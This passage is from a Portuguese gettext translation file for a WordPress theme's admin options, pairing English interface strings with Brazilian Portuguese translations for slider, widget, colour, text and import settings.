msgstr "Opções do Slider"

#: admin/options.php:339
msgid "Disable slider"
msgstr "Desabilitar Slider"

#: admin/options.php:347
msgid "What do you want to show in the slider"
msgstr "O que você quer exibir no Slider?"

#: admin/options.php:351
msgid "Show latest posts"
msgstr "Exibir últimos posts"

#: admin/options.php:354
msgid "Show random posts"
msgstr "Exibir posts aleatórios"

#: admin/options.php:357
msgid "Show specific posts/pages"
msgstr "Exibir posts/páginas específicos"

#: admin/options.php:360
msgid "Show posts from categories"
msgstr "Exibir posts de categorias"

#: admin/options.php:365
#: admin/options.php:579
msgid "Posts and/or pages to display"
msgstr "Posts e/ou páginas a exibir"

#: admin/options.php:370
#: admin/options.php:584
msgid "Enter ID of posts and/or pages to be displayed, separated by comma. Example: <code>1,13,45,33</code>"
msgstr "Digite os ID dos posts e/ou páginas a serem exibidos, separados por vírgulas. Exemplo: <code>1,13,45,33</code>"

#: admin/options.php:371
msgid "Applicable only if <strong>Show specific posts/pages</strong> is selected above."
msgstr "Aplicável somente se <strong>Exibir posts/páginas específicos</strong> for selecionado acima."

#: admin/options.php:377
msgid "Categories to display"
msgstr "Categorias a exibir"

#: admin/options.php:378
msgid "All posts within the categories selected here will be displayed on the slider. Usage example: create a new category \"Featured\" and assign all posts to be displayed on the slider to that category, and then select that category here."
msgstr "Todos os posts da categoria selecionada aqui serão exibidos no Slider. Sugestão: crie uma nova categoria \"Destaques\" e adicione todos os posts que deseja exibir no Slider a essa categoria. Selecione então essa categoria aqui."

#: admin/options.php:394
msgid "Number of posts to display"
msgstr "Número de posts a exibir"

#: admin/options.php:419
#: admin/options.php:1605
msgid "Upload or select image from gallery"
msgstr "Envie ou selecione uma imagem na galeria"

#: admin/options.php:425
msgid "Slider display style"
msgstr "Estilo de exibição do Slider"

#: admin/options.php:429
msgid "Thumbnail and excerpt"
msgstr "Miniatura e resumo"

#: admin/options.php:430
msgid "Background image and excerpt"
msgstr "Imagem de fundo e resumo"

#: admin/options.php:431
msgid "Full post content"
msgstr "conteúdo completo do post"

#: admin/options.php:437
msgid "Slider animation"
msgstr "Animação do Slider"

#: admin/options.php:442
msgid "Horizontal slide"
msgstr "Slide horizontal"

#: admin/options.php:443
msgid "Vertical slide"
msgstr "Slide vertical"

#: admin/options.php:444
msgid "Fade"
msgstr "Fade"

#: admin/options.php:445
msgid "No effect"
msgstr "Sem efeito"

#: admin/options.php:451
msgid "Slider height"
msgstr "Altura do Slider"

#: admin/options.php:459
msgid "Slider speed"
msgstr "Velocidade do Slider"

#: admin/options.php:462
#: admin/options.php:471
msgid "milliseconds"
msgstr "milissegundos"

#: admin/options.php:463
msgid "This is the duration that each slider item will be shown"
msgstr "Esta é a duração de cada item do Slider"

#: admin/options.php:468
msgid "Slider transition speed"
msgstr "Velocidade de transição"

#: admin/options.php:472
msgid "This is the speed of the slider transition. Lower values = higher speed."
msgstr "Esta é a velocidade da transição do slide. Valores menores = velocidades maiores."

#: admin/options.php:477
msgid "Move slider to bottom of page"
msgstr "Mover o Slider para o fim da página"

#: admin/options.php:490
msgid "Front Page Options"
msgstr "Opções da Página inicial"

#: admin/options.php:496
msgid "Front page posts categories"
msgstr "Categorias da Página inicial"

#: admin/options.php:498
msgid "Only posts that belong to the categories selected here will be displayed on the front page. Does not affect Static Front Page."
msgstr "Apenas os posts que pertencem às categorias selecionadas aqui serão exibidos na página inicial. Não se aplica à página inicial estática."

#: admin/options.php:503
msgid "--Disabled--"
msgstr "--Desabilitado--"

#: admin/options.php:511
msgid "You may select multiple categories by holding down the CTRL key."
msgstr "Você pode selecionar várias categorias segurando a tecla CTRL."

#: admin/options.php:523
msgid "Homepage Panes"
msgstr "Painéis da Página Inicial"

#: admin/options.php:530
msgid "Disable homepage panes"
msgstr "Desabilitar Painéis da Página Inicial"

#: admin/options.php:540
msgid "Type of content to show"
msgstr "Tipo de conteúdo a exibir"

#: admin/options.php:547
msgid "Latest posts by category"
msgstr "Últimos posts por categoria"

#: admin/options.php:550
msgid "Posts and/or pages"
msgstr "Posts e/ou páginas"

#: admin/options.php:555
msgid "Number of latest posts to display"
msgstr "Número de últimos posts a exibir"

#: admin/options.php:559
msgid "Applicable only if <strong>Latest posts</strong> or <strong>Latest posts by category</strong> is selected above."
msgstr "Somente aplicável se <strong>Últimos posts</strong> ou <strong>Últimos posts por categoria</strong> for selecionado acima."

#: admin/options.php:564
msgid "Category to show latest posts from"
msgstr "Categoria dos últimos posts"

#: admin/options.php:574
msgid "Applicable only if <strong>Latest posts by category</strong> is selected above."
msgstr "Somente aplicável se <strong>Últimos posts por categoria</strong> for selecionado acima."

#: admin/options.php:585
msgid "Applicable only if <strong>Posts and/or pages</strong> is selected above."
msgstr "Aplicável somente se <strong>Posts e/ou páginas</strong> for selecionado acima."

#: admin/options.php:591
msgid "<strong>Note:</strong> homepage panes are only displayed when using a <a href=\"http://codex.wordpress.org/Creating_a_Static_Front_Page\">static front page</a>."
msgstr "<strong>Atenção:</strong> os Painéis da Página Inicial só são exibidos quando se usa uma <a href=\"http://codex.wordpress.org/Creating_a_Static_Front_Page\">página estática</a>."

#: admin/options.php:601
msgid "Comments Options"
msgstr "Opções de Comentários"

#: admin/options.php:607
msgid "Commenting"
msgstr "Comentários"

#: admin/options.php:611
msgid "Use WordPress settings"
msgstr "Usar configurações do Wordpress"

#: admin/options.php:612
msgid "Disabled for pages"
msgstr "Desabilitar em páginas"

#: admin/options.php:613
msgid "Disabled completely"
msgstr "Desabilitar completamente"

#: admin/options.php:615
msgid "Note: this setting overrides the global WordPress Discussion Setting called \"Allow people to post comments on new articles\" and also the \"Allow comments\" option for individual posts/pages."
msgstr "Atenção: esta configuração prevalece sobre a configuração global de Discussão do Wordpress chamada \"Permitir que as pessoas publiquem comentários sobre novos artigos\" e também a opção \"Permitir comentários\" dos posts/páginas individuais."

#: admin/options.php:627
msgid "Child Page Options"
msgstr "Opções de Páginas-filhas"

#: admin/options.php:633
msgid "Hide parent box if content is empty"
msgstr "Esconder área da página-mãe se não houver conteúdo"

#: admin/options.php:639
msgid "Child page listings"
msgstr "Listagem das páginas-filhas"

#: admin/options.php:643
msgid "Show listing"
msgstr "Exibir listagem"

#: admin/options.php:644
msgid "Hide listing"
msgstr "Esconder listagem"

#: admin/options.php:645
msgid "Only show listing if parent content is empty"
msgstr "Só exibir listagem se não houver conteúdo na página mãe"

#: admin/options.php:658
msgid "Widget Area Options"
msgstr "Opções da Área de Widgets"

#: admin/options.php:661
msgid "Header widget area"
msgstr "Widgets do Cabeçalho"

#: admin/options.php:662
msgid "<strong>Important:</strong> This widget area is unstyled, as it is often used for advertisement banners, etc. If you enable it, make sure you style it to your needs using the Custom CSS option."
msgstr "<strong>Importante:</strong> esta área de widget não tem estilo, uma vez que normalmente ela é usada para banners, anúncios etc. Se você habilitá-la, certifique-se de estilizá-la conforme suas necessidades utilizando a opção de CSS Personalizada."

#: admin/options.php:666
msgid "Enable header widget area"
msgstr "Habilitar área de widgets do cabeçalho"

#: admin/options.php:675
msgid "Alternate Widgets"
msgstr "Widgets Alternativos"

#: admin/options.php:676
msgid "You can enable the theme to show different widget areas in the front page than the rest of the website. If you enable this option, additional widget areas that will only be displayed on the front page will be added to the Widget settings page."
msgstr "Você pode exibir, na página inicial, widgets diferentes do resto do site. Se você habilitar essa opção, as áreas adicionais para a página inicial serão adicionadas à página de Configuração de Widgets."

#: admin/options.php:679
msgid "Enable alternate front page sidebar widget area"
msgstr "Habilitar barra lateral de widgets alternativa na página inicial"

#: admin/options.php:683
msgid "Enable alternate front page footer widget area"
msgstr "Habilitar rodapé de widgets alternativo na página inicial"

#: admin/options.php:684
msgid "You can also specify different column counts for the front page footer widget and the rest-of-site footer widget if you enable this option."
msgstr "Você pode especificar um número de colunas diferente para o rodapé de widgets da página inicial e do resto do site se você habilitar essa opção."

#: admin/options.php:697
msgid "Top Bar Options"
msgstr "Opções da barra superior"

#: admin/options.php:703
msgid "Hide the top bar"
msgstr "Ocultar barra superior"

#: admin/options.php:711
msgid "Hide feed icon"
msgstr "ocultar ícone de RSS"

#: admin/options.php:715
msgid "Use custom feed URL"
msgstr "Usar URL de feed personalizada"

#: admin/options.php:718
msgid "This custom feed URL will replace the default WordPress RSS feed URL."
msgstr "A URL deste Feed Personalizado substituirá a URL padrão de RSS do Wordpress."

#: admin/options.php:722
msgid "Open social media links in new window"
msgstr "Abrir links de redes sociais em novas janelas"

#: admin/options.php:726
msgid "Twitter URL"
msgstr "URL do Twitter"

#: admin/options.php:729
msgid "Enter the URL to your Twitter page."
msgstr "Digite a URL da sua página no Twitter."

#: admin/options.php:733
msgid "Facebook URL"
msgstr "URL do Facebook"

#: admin/options.php:736
msgid "Enter the URL to your Facebook profile page."
msgstr "Digite a URL do seu perfil no Facebook."

#: admin/options.php:747
#, php-format
msgid "%s Title"
msgstr "Título de %s"

#: admin/options.php:752
#, php-format
msgid "The title is empty and the following title will be shown: <strong>%s</strong>"
msgstr "O título está vazio, então o seguinte título será exibido: <strong>%s</strong>"

#: admin/options.php:758
#, php-format
msgid "%s URL"
msgstr "URL de %s"

#: admin/options.php:763
#, php-format
msgid "%s icon URL"
msgstr "URL do ícone de %s"

#: admin/options.php:766
msgid "Delete"
msgstr "Apagar"

#: admin/options.php:774
msgid "Add new social media icon"
msgstr "Adicionar novo ícone de rede social"

#: admin/options.php:786
msgid "Social Sharing Buttons"
msgstr "Botões de Redes Sociais"

#: admin/options.php:791
msgid "Show social sharing button"
msgstr "Exibir Botão de Rede Social"

#: admin/options.php:797
msgid "Show in Pages as well?"
msgstr "Exibir em páginas também?"

#: admin/options.php:801
msgid "Social sharing buttons location"
msgstr "Localização dos botões de compartilhamento"

#: admin/options.php:804
msgid "Bottom of posts"
msgstr "Abaixo dos posts"

#: admin/options.php:805
msgid "Top of posts"
msgstr "Acima dos posts"

#: admin/options.php:806
msgid "Both top and bottom"
msgstr "Acima e abaixo dos posts"

#: admin/options.php:812
msgid "Your social sharing button code"
msgstr "Código do botão de compartilhamento"

#: admin/options.php:813
msgid "You can use codes from any popular social sharing sites, like Facebook, Digg, AddThis, etc."
msgstr "Você pode usar códigos de qualquer rede social popular: Facebook, Digg, AddThis etc."

#: admin/options.php:816
msgid "You may use these tags to get the post's URL and title:"
msgstr "Você deve usar estas tags para URL e título do post:"

#: admin/options.php:828
msgid "Adsense Options"
msgstr "Opções Adsense"

#: admin/options.php:834
msgid "Show Adsense advertising"
msgstr "Exibir anúncios Adsense"

#: admin/options.php:840
msgid "Show ads on front page as well"
msgstr "Exibir anúncios na página inicial"

#: admin/options.php:846
msgid "Your Adsense code"
msgstr "Seu código Adsense"

#: admin/options.php:859
msgid "Google Analytics Options"
msgstr "Opções Google Analytics"

#: admin/options.php:864
msgid "Enable Google Analytics tracking"
msgstr "Habilitar rastreamento do Google Analytics"

#: admin/options.php:871
msgid "<strong>Note:</strong> the theme now places the Google Analytics script in the <code>&lt;head&gt;</code> element to better support the new asynchronous Google Analytics script. Please make sure you update your script to use the new asynchronous script from Google Analytics."
msgstr "<strong>Atenção:</strong> agora o tema posiciona o script do Google Analytics na seção <code>&lt;head&gt;</code> para melhor compatibilidade com o novo script assíncrono. Por favor, atualize seu código para o novo script assíncrono do Google Analytics."

#: admin/options.php:875
msgid "Google Analytics tracking code"
msgstr "Código de rastreamento Google Analytics"

#: admin/options.php:876
msgid "Make sure you include the full tracking code (including the <code>&lt;script&gt;</code> and <code>&lt;/script&gt;</code> tags) and not just the <code>UA-#######-#</code> code."
msgstr "Inclua o código de rastreamento completo, incluindo as tags <code>&lt;script&gt;</code> e <code>&lt;/script&gt;</code>) e não apenas o código <code>UA-#######-#</code>."

#: admin/options.php:889
msgid "Footer Options"
msgstr "Opções do rodapé"

#: admin/options.php:894
msgid "Show Creative Commons logo"
msgstr "Exibir logotipo Creative Commons"

#: admin/options.php:899
msgid "Copyright text (html allowed)"
msgstr "Texto de Direitos Autorais (HTML permitido)"

#: admin/options.php:900
msgid "If this field is empty, the following default copyright text will be displayed:"
msgstr "Se este campo ficar vazio, o seguinte texto padrão será exibido:"

#: admin/options.php:906
msgid "Do not show copyright info"
msgstr "Não exibir informações sobre Direitos Autorais"

#: admin/options.php:910
msgid "Do not show the \"Return to top\" link"
msgstr "Não exibir o link \"Voltar ao topo\""

#: admin/options.php:922
msgid "Print Options"
msgstr "Opções de impressão"

#: admin/options.php:927
msgid "Enable print CSS for single posts and pages?"
msgstr "Habilitar estilo de impressão CSS para posts e páginas?"

#: admin/options.php:933
msgid "Show print button as well?"
msgstr "Exibir botão de impressão?"

#: admin/options.php:953
msgid "Header Display Options"
msgstr "Opções de Exibição do Cabeçalho"

#: admin/options.php:959
msgid "Use light-coloured header bars"
msgstr "Usar cores claras nas barras do cabeçalho"

#: admin/options.php:965
msgid "Link header image to front page"
msgstr "Criar link na imagem do cabeçalho para a página inicial"

#: admin/options.php:968
msgid "Check this if you disable the header texts and want the header image to be linked to the front page."
msgstr "Marque essa opção se você desabilitou o texto do cabeçalho, mas deseja que a imagem esteja linkada à página inicial."

#: admin/options.php:973
msgid "Disable Featured Image replacing header image"
msgstr "Impedir que a imagem em destaque substitua a imagem de cabeçalho"

#: admin/options.php:976
msgid "Check this to prevent the posts Featured Image replacing the header image regardless of the featured image dimension."
msgstr "Marque esta opção para evitar que posts com imagem em destaque substituam a imagem do cabeçalho, mesmo quando suas dimensões forem maiores"

#: admin/options.php:981
msgid "Use random header image"
msgstr "Usar imagem de cabeçalho aleatória"

#: admin/options.php:985
msgid "Check this to show a random header image (random image taken from the available default header images)."
msgstr "Marque esta opção para exibir uma imagem de cabeçalho randômica (uma imagem será escolhida aleatoriamente dentre as disponíveis)"

#: admin/options.php:986
msgid "<strong>Note:</strong> only works on pages where a specific header image is not defined."
msgstr "<strong>Atenção:</strong> só funciona em páginas onde uma imagem de cabeçalho específica não foi definida."

#: admin/options.php:992
msgid "Search box location"
msgstr "Localização da caixa de busca"

#: admin/options.php:996
msgid "Top bar"
msgstr "Barra superior"

#: admin/options.php:997
msgid "Navigation bar"
msgstr "Barra de navegação"

#: admin/options.php:998
msgid "Disable search box"
msgstr "Desabilitar caixa de pesquisa"

#: admin/options.php:1011
msgid "Column Options"
msgstr "Opções de Colunas"

#: admin/options.php:1017
msgid "Column mode"
msgstr "Layout de colunas:"

#: admin/options.php:1026
msgid "One column"
msgstr "Uma coluna"

#: admin/options.php:1033
msgid "Two columns (with sidebar right)"
msgstr "Duas colunas (com barra lateral à direita)"

#: admin/options.php:1037
msgid "Two columns (with sidebar left)"
msgstr "Duas colunas (com barra lateral à esquerda)"

#: admin/options.php:1044
msgid "Three columns (with two sidebars right)"
msgstr "Três colunas (com duas barras laterais à direita)"

#: admin/options.php:1048
msgid "Three columns (with two sidebars left)"
msgstr "Três colunas (com duas barras laterais à esquerda)"

#: admin/options.php:1052
msgid "Three columns (with sidebars left and right)"
msgstr "Três colunas (com barras laterais à esquerda e à direita)"

#: admin/options.php:1067
msgid "Posts Display Options"
msgstr "Opções de Exibição dos Posts"

#: admin/options.php:1073
msgid "Hide post author"
msgstr "Ocultar autor do post"

#: admin/options.php:1083
msgid "Hidden"
msgstr "Oculto"

#: admin/options.php:1084
msgid "As an icon (without the year)"
msgstr "Como um ícone (sem o ano)"

#: admin/options.php:1085
msgid "As an icon (including the year)"
msgstr "Como um ícone (incluíndo o ano)"

#: admin/options.php:1086
msgid "As inline text"
msgstr "Como texto inline"

#: admin/options.php:1088
msgid "Note: displaying date as inline text allows more space for the content area, especially useful for a three-column layout configuration."
msgstr "Nota: Exibir a data como texto inline libera mais espaço para a área de conteúdo, o que é especialmente útil num layout de três colunas."

#: admin/options.php:1093
msgid "Hide post categories"
msgstr "Ocultar categorias do post"

#: admin/options.php:1099
msgid "Hide post tags"
msgstr "Ocultar tags do post"

#: admin/options.php:1105
msgid "Hide post comment count"
msgstr "Ocultar contador de comentários"

#: admin/options.php:1106
msgid "Only affects posts listing (such as the front page) and not single post view."
msgstr "Afeta apenas listas de posts (como da páginia inicial), mas não a visualização individual do post."

#: admin/options.php:1111
msgid "Show post author's gravatar"
msgstr "Exibir gravatar do autor do post"

#: admin/options.php:1115
msgid "Show post author's info"
msgstr "Exibir informações do autor"

#: admin/options.php:1127
msgid "Excerpts Display Options"
msgstr "Opções de Exibição dos Resumos"

#: admin/options.php:1133
msgid "Show excerpts in front page"
msgstr "Exibir resumos na página inicial"

#: admin/options.php:1139
msgid "Show full content in archive pages"
msgstr "Exibir conteúdo completo em páginas de arquivos"

#: admin/options.php:1143
msgid "Note: Archive pages include the archive for category, tags, time, and search results pages. Enabling this option will cause the full content of posts and pages listed in those archives to displayed instead of the excerpt, and truncated by the Read More tag if used."
msgstr "Atenção: páginas de arquivos são as páginas de categorias, tags, por tempo e resultados de busca. Habilitar esta opção fará com que o conteúdo completo de posts e páginas sejam listados em vez do resumo, preservando a tag Leia Mais quando usada."

#: admin/options.php:1147
msgid "Show More link for manual excerpts"
msgstr "Exibir link \"Mais\" para resumos manuais"

#: admin/options.php:1151
msgid "Retain these HTML tags in excerpts"
msgstr "Manter estas tags HTML nos resumos"

#: admin/options.php:1154
msgid "Enter the HTML tags you'd like to retain in excerpts. For example, enter <code>&lt;p&gt;&lt;ul&gt;&lt;li&gt;</code> to retain <code>&lt;p&gt;</code>, <code>&lt;ul&gt;</code>, and <code>&lt;li&gt;</code> HTML tags."
msgstr "Digite as tags HTML que você gostaria de manter nos resumos. Por exemplo, digite <code>&lt;p&gt;&lt;ul&gt;&lt;li&gt;</code> para manter as tags <code>&lt;p&gt;</code>, <code>&lt;ul&gt;</code>, e <code>&lt;li&gt;</code>."

#: admin/options.php:1167
msgid "Comments Display Options"
msgstr "Opções de Exibição dos Comentários"

#: admin/options.php:1173
msgid "Hide allowed tags in comment form"
msgstr "Ocultar tags HTML permitidas no formulário de comentários"

#: admin/options.php:1186
msgid "Colours Options"
msgstr "Opções de Cores"

#: admin/options.php:1189
msgid "Changing colours for your website involves a lot more than just trial and error. Simply mixing and matching colours without regard to their compatibility may do more damage than good to your site's aesthetics."
msgstr "Mudar as cores do seu website envolve bem mais do que tentativa e erro. Simplesmente misturar e combinar cores sem se importar com suas compatibilidades pode causar mais danos do que benefícios para a estética do seu site."

#: admin/options.php:1190
#, php-format
msgid "It's generally a good idea to stick to colours from colour pallettes that are aesthetically pleasing. Try the %s website for a kickstart on some colour palettes you can use."
msgstr "Geralmente é uma boa ideia se ater a cores de paletas esteticamente agradáveis. Experimente o site %s como ponto de partida de algumas paletas que você pode usar."

#: admin/options.php:1191
msgid "When you've got the perfect combination, you can even share it with fellow Graphene theme users through the <a href=\"http://forum.khairul-syahir.com/\">Support Forum</a>."
msgstr "Ao conseguir a combinação perfeita, compartilhe com outros usuários através do <a href=\"http://forum.khairul-syahir.com/\">Fórum de Suporte</a>."

#: admin/options.php:1192
msgid "<strong>Note:</strong> The previews work best on modern Gecko- and Webkit-based browsers, such as Mozilla Firefox and Google Chrome."
msgstr "<strong>Atenção:</strong> as pré-visualizações funcionam melhor em navegadores baseados em Gecko e Webkit, tais como Mozilla Firefox e Google Chrome."

#: admin/options.php:1193
msgid "<strong>Note:</strong> To reset any of the colours to their default value, just click on \"Clear\" beside the colour field and save the settings. The theme will automatically revert the value to the default colour."
msgstr "<strong>Atenção:</strong> para voltar ao valor padrão de qualquer cor, basta clicar em \"Limpar\" ao lado da cor e salvar as configurações. O tema automaticamente definirá o valor padrão para a cor."

#: admin/options.php:1194
msgid "Content area"
msgstr "Área do conteúdo"

#: admin/options.php:1198
msgid "Main content wrapper background"
msgstr "Fundo da área principal"

#: admin/options.php:1199
msgid "Post and pages content background"
msgstr "Fundo dos posts e páginas"

#: admin/options.php:1200
msgid "Post meta and footer border"
msgstr "Bordas dos metadados e rodapés dos posts"

#: admin/options.php:1201
msgid "Post and pages top border"
msgstr "Borda superior de posts e páginas"

#: admin/options.php:1202
msgid "Post and pages bottom border"
msgstr "Borda inferior de posts e páginas"

#: admin/options.php:1212
#: admin/options.php:1242
#: admin/options.php:1268
#: admin/options.php:1295
#: admin/options.php:1324
#: admin/options.php:1460
#: admin/options.php:1481
msgid "Clear"
msgstr "Limpar"

#: admin/options.php:1219
msgid "Widgets"
msgstr "Widgets"

#: admin/options.php:1222
msgid "Widget preview"
msgstr "Pré-visualização do widget"

#: admin/options.php:1223
msgid "Widget title"
msgstr "Título do widget"

#: admin/options.php:1223
msgid "List item"
msgstr "Item de lista"

#: admin/options.php:1227
msgid "Widget item background"
msgstr "Fundo do item de widget"

#: admin/options.php:1228
msgid "Widget item list border"
msgstr "Borda do item de widget"

#: admin/options.php:1229
msgid "Widget header border"
msgstr "Borda do cabeçalho do widget"

#: admin/options.php:1230
msgid "Widget title colour"
msgstr "Título do widget"

#: admin/options.php:1231
msgid "Widget title text shadow colour"
msgstr "Sombra do título do widget"

#: admin/options.php:1232
msgid "Widget header gradient bottom colour"
msgstr "Cor final do gradiente do cabeçalho do widget"

#: admin/options.php:1233
msgid "Widget header gradient top colour"
msgstr "Cor inicial do gradiente do cabeçalho do widget"

#: admin/options.php:1250
msgid "Slider"
msgstr "Slider"

#: admin/options.php:1253
msgid "Slider background preview"
msgstr "Pré-visualização do fundo do Slider"

#: admin/options.php:1258
msgid "Slider top left colour"
msgstr "Canto superior esquerdo do slider"

#: admin/options.php:1259
msgid "Slider bottom right colour"
msgstr "Canto inferior direito do slider"

#: admin/options.php:1276
msgid "Block buttons"
msgstr "Botões em bloco"

#: admin/options.php:1279
msgid "Block button preview"
msgstr "Pré-visualização do botão em bloco"

#: admin/options.php:1280
msgid "Button label"
msgstr "Rótulo do botão"

#: admin/options.php:1284
msgid "Button background colour"
msgstr "Fundo do botão"

#: admin/options.php:1285
msgid "Button label colour"
msgstr "Cor do rótulo do botão"

#: admin/options.php:1286
msgid "Button label text shadow"
msgstr "Sombra do rótulo do botão"

#: admin/options.php:1303
msgid "Archive title"
msgstr "Títulos das páginas de Arquivo"

#: admin/options.php:1306
msgid "Archive title preview"
msgstr "Pré-visualização do título da página de Arquivo"

#: admin/options.php:1307
msgid "Archive title:"
msgstr "Título da página de Arquivo:"

#: admin/options.php:1307
msgid "Sample title"
msgstr "Título de Exemplo"

#: admin/options.php:1311
msgid "Archive background gradient left colour"
msgstr "Arquivo: cor da esquerda do gradiente"

#: admin/options.php:1312
msgid "Archive background gradient right colour"
msgstr "Arquivo: cor da direita do gradiente"

#: admin/options.php:1313
msgid "Archive label colour"
msgstr "Arquivo: cor do rótulo do título"

#: admin/options.php:1314
msgid "Archive text colour"
msgstr "Arquivo: cor do texto do título"

#: admin/options.php:1315
msgid "Archive label and text shadow colour"
msgstr "Arquivo: sombra do rótulo e do texto"

#: admin/options.php:1339
msgid "Text Style Options"
msgstr "Opções de Estilo do Texto"

#: admin/options.php:1342
msgid "Note that these are CSS properties, so any valid CSS values for each particular property can be used."
msgstr "Note que essas são propriedades CSS, então qualquer valor CSS válido para cada propriedade pode ser usado."

#: admin/options.php:1343
msgid "Some example CSS properties values:"
msgstr "Alguns exemplos de valores de propriedades CSS:"

#: admin/options.php:1346
msgid "Text font:"
msgstr "Fonte do texto:"

#: admin/options.php:1350
msgid "Text size and line height:"
msgstr "Tamanho do texto e altura da linha:"

#: admin/options.php:1354
msgid "Text weight:"
msgstr "Peso do texto:"

#: admin/options.php:1358
msgid "Text style:"
msgstr "Estilo do texto:"

#: admin/options.php:1362
msgid "Text colour:"
msgstr "Cor do texto:"

#: admin/options.php:1367
msgid "Header Text"
msgstr "Texto do Cabeçalho"

#: admin/options.php:1371
msgid "Title text font"
msgstr "Fonte do título (<code>font-family</code>)"

#: admin/options.php:1377
msgid "Title text size"
msgstr "Tamanho do título (<code>font-size</code>)"

#: admin/options.php:1383
msgid "Title text weight"
msgstr "Peso do título (<code>font-weight</code>)"

#: admin/options.php:1389
msgid "Title text line height"
msgstr "Altura da linha do título (<code>line-height</code>)"

#: admin/options.php:1395
msgid "Title text style"
msgstr "Estilo do título (<code>font-style</code>)"

#: admin/options.php:1404
msgid "Description text font"
msgstr "Fonte do texto da descrição"

#: admin/options.php:1410
msgid "Description text size"
msgstr "Tamanho do texto da descrição"

#: admin/options.php:1416
msgid "Description text weight"
msgstr "Peso do texto da descrição"

#: admin/options.php:1422
msgid "Description text line height"
msgstr "Altura da linha do texto da descrição"

#: admin/options.php:1428
msgid "Description text style"
msgstr "Estilo do texto da descrição"

#: admin/options.php:1434
msgid "Content Text"
msgstr "Texto de Conteúdo"

#: admin/options.php:1438
msgid "Text font"
msgstr "Fonte do texto"

#: admin/options.php:1444
msgid "Text size"
msgstr "Tamanho do texto"

#: admin/options.php:1450
msgid "Text line height"
msgstr "Altura da linha do texto"

#: admin/options.php:1456
msgid "Text colour"
msgstr "Cor do texto"

#: admin/options.php:1466
msgid "Link Text"
msgstr "Link de texto"

#: admin/options.php:1470
msgid "Link colour (normal state)"
msgstr "Cor do link (normal)"

#: admin/options.php:1471
msgid "Link colour (visited state)"
msgstr "Cor do link (visitado)"

#: admin/options.php:1472
msgid "Link colour (hover state)"
msgstr "Cor do link (em cima)"

#: admin/options.php:1489
msgid "Text decoration (normal state)"
msgstr "Text-decoration (normal)"

#: admin/options.php:1495
msgid "Text decoration (hover state)"
msgstr "Text-decoration (hover)"

#: admin/options.php:1508
msgid "Footer Widget Display Options"
msgstr "Opções de Exibição dos Widgets do Rodapé"

#: admin/options.php:1514
msgid "Number of columns to display"
msgstr "Número de colunas a exibir:"

#: admin/options.php:1521
msgid "Number of columns to display for front page footer widget"
msgstr "Número de colunas a exibir no widget rodapé da página inicial"

#: admin/options.php:1535
msgid "Navigation Menu Display Options"
msgstr "Opções de Exibição do Menu de Navegação"

#: admin/options.php:1541
msgid "Dropdown menu item width"
msgstr "Largura do menu dropdown"

#: admin/options.php:1547
msgid "Disable description in Header Menu"
msgstr "Desabilitar descrições no Menu do Cabeçalho"

#: admin/options.php:1555
msgid "Description for default menu \"Home\" item"
msgstr "Descrição para o item \"Início\" padrão do menu"

#: admin/options.php:1571
msgid "Miscellaneous Display Options"
msgstr "Opções de Exibição - Miscelânea"

#: admin/options.php:1574
msgid "Site title options"
msgstr "Opções do Título do Site"

#: admin/options.php:1575
msgid "Use these tags to customise your own site title structure: <code>#site-name</code>, <code>#site-desc</code>, <code>#post-title</code>"
msgstr "Use estas tags para personalizar sua própria estrutura de título: <code>#site-name</code>, <code>#site-desc</code>, <code>#post-title</code>"

#: admin/options.php:1579
msgid "Custom front page site title"
msgstr "Título personalizado da Página Inicial"

#: admin/options.php:1583
msgid "Defaults to <code>#site-name &raquo; #site-desc</code>. The <code>#post-title</code> tag cannot be used here."
msgstr "O padrão é <code>#site-name &raquo; #site-desc</code>. A tag <code>#post-title</code> não pode ser usada aqui."

#: admin/options.php:1588
msgid "Custom content pages site title"
msgstr "Título personalizado das páginas de conteúdo"

#: admin/options.php:1592
msgid "Defaults to <code>#post-title &raquo; #site-name</code>."
msgstr "O padrão é <code>#post-title &raquo; #site-name</code>."

#: admin/options.php:1597
msgid "Favicon options"
msgstr "Opções de Favicon"

#: admin/options.php:1601
msgid "Favicon URL"
msgstr "URL do Favicon"

#: admin/options.php:1605
msgid "Simply enter the full URL to your favicon file here to enable favicon. Make sure you include the <code>http://</code> in front of the URL as well. Or use the WordPress media uploader to upload an image, or select one from the media library."
msgstr "Digite a URL completa do seu favicon para habilitá-lo. Certifique-se de incluir <code>http://</code> no endereço. Ou use o Envio de Mídia do Wordpress para enviar uma imagem, ou selecione uma da Biblioteca de Mídia."

#: admin/options.php:1617
msgid "Custom CSS"
msgstr "CSS personalizada"

#: admin/options.php:1622
msgid "Custom CSS styles"
msgstr "Estilos CSS personalizados"

#: admin/options.php:1624
msgid "You can enter your own CSS codes below to modify any other aspects of the theme's appearance that is not included in the options."
msgstr "Você pode digitar seu próprio código CSS para modificar qualquer outro aspecto do tema não incluído nas opções."

#: admin/options.php:1651
msgid "Enable preview of your site on the Graphene Theme Options page"
msgstr "Habilitar pré-visualização do seu site na página de opções do Graphene"

#: admin/options.php:1663
msgid "Action Hooks Widget Areas"
msgstr "Áreas de Widgets nos Action Hooks"

#: admin/options.php:1666
msgid "This option enables you to place virtually any content to every nook and cranny in the theme, by attaching widget areas to the theme's action hooks."
msgstr "Esta opção permite que você insira conteúdo em qualquer canto do tema, anexando áreas de widgets aos ganchos de ação (action hooks) do tema."

#: admin/options.php:1667
msgid "All action hooks available in the Graphene Theme are listed below. Click on the filename to display all the action hooks available in that file. Then, tick the checkbox next to an action hook to make a widget area available for that action hook."
msgstr "Todos os \"action hooks\" disponíveis no tema Graphene estão listados abaixo. Clique no nome do arquivo para exibir todos os ganchos disponíveis nele. Selecione então o checkbox do action hook desejado para criar uma área de widgets para ele."

#: admin/options.php:1676
msgid "Click to show/hide the action hooks for this file"
msgstr "Clique para exibir/ocultar os action hooks deste arquivo"

#: admin/options.php:1699
msgid "Before you can upload your import file, you will need to fix the following error:"
msgstr "Antes de enviar o arquivo de importação, você precisa corrigir o seguinte erro:"

#: admin/options.php:1707
msgid "<strong>Note:</strong> This is an experimental feature. Please report any problem at the <a href=\"http://forum.khairul-syahir.com/forum/bug-report\">Support Forum</a>."
msgstr "<strong>Atenção</strong>: esta é uma funcionalidade experimental. Por favor, relate qualquer problema no <a href=\"http://forum.khairul-syahir.com/forum/bug-report\">Fórum de Suporte do Tema</a>."

#: admin/options.php:1709
msgid "Choose a file from your computer:"
msgstr "Escolha um arquivo do seu computador:"

#: admin/options.php:1709
#, php-format
msgid "Maximum size: %s"
msgstr "Tamanho máximo: %s"

#: admin/options.php:1716
msgid "Upload file and import"
msgstr "Enviar arquivo e importar"

#: admin/uninstall.php:22
#, php-format
